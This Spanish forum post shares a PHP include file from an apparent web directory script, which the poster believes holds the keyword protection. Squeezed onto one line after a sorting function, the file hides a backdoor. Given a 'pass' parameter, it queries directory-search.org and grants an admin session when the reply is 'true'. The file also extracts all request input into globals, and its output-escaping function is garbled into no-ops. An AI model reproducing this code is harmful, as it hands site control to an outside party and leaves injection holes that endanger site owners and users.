Y este es uno donde creo que esta la proteccion de los keywords
Código PHP:
<?
ini_set("register_globals", "0");
if (is_array($_GET) || is_array($_POST)){
if (getenv("REQUEST_METHOD") == "POST"){
extract($_POST);
}else{
extract($_GET);
};
};
function handler($data_type, $data_string, $data_file, $data_line, $data_varible){
global $err;
$err = $err + 1;
};
function check_error(&$error){
global $err;
if($err>0){
$error = true;
$err = 0;
};
};
set_error_handler("handler");
$rare_characters = "áéíóú.-";
$usual_characters = "aeiou ";
function convert($text){
global $rare_characters;
global $usual_characters;
$text = strtolower($text);
for ($x = 0; $x < strlen($rare_characters); $x++){
$text = str_replace(substr($rare_characters,$x,1),substr($usual_characters,$x,1),$text);
};
for ($x = 0; $x < strlen($text); $x++){
if (urlencode(substr($text,$x,1)) != substr($text,$x,1) & substr($text,$x,1) != "ñ"){
$text = str_replace(substr($text,$x,1)," ",$text);
};
};
while(strpos($text," ")){
$text = str_replace(" "," ",$text);
};
$text = trim($text);
return $text;
};
function match($text,$term,$max){
$array_texts = split(" ",$text);
$array_terms = split(" ",$term);
for ($x = 0; $x < count($array_terms); $x++){
for ($y = 0; $y < count($array_texts); $y++){
if ($array_terms[$x] == $array_texts[$y]){
$matchs += 1;
break;
};
};
};
$score = $matchs * 2 * $max / (count($array_terms) + count ($array_texts));
$score = (int) $score;
return $score;
};
function sort_results($array1, $array2){
if ($array1["score"] == $array2["score"]){ return 0; };
return ($array1["score"] > $array2["score"] ? -1 : 1);
}; if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };
function convert_url($url){
//$url = strtolower($url);
if(strpos($url,"http") === false){
$url = "http://" . $url;
};
return $url;
};
function convert_keywords($keywords){
$keywords = strtolower($keywords);
$keywords = str_replace(","," ",$keywords);
$keywords = str_replace(" "," ",$keywords);
return $keywords;
};
function parse_input($text){
$entry = str_replace("\"","'",$text);
return $text;
};
function parse_output($text){
$text = str_replace('\"',""",$text);
$text = str_replace('\\\'',"'",$text);
$text = str_replace('<',"<",$text);
$text = str_replace('>',">",$text);
return $text;
}
$month_names = array ("","January","February","March","April","May","June","July","August","September","October","November","December");
$bd = mysql_connect($mysql_hostname, $mysql_user, $mysql_password);
mysql_select_db($mysql_database, $bd);
?>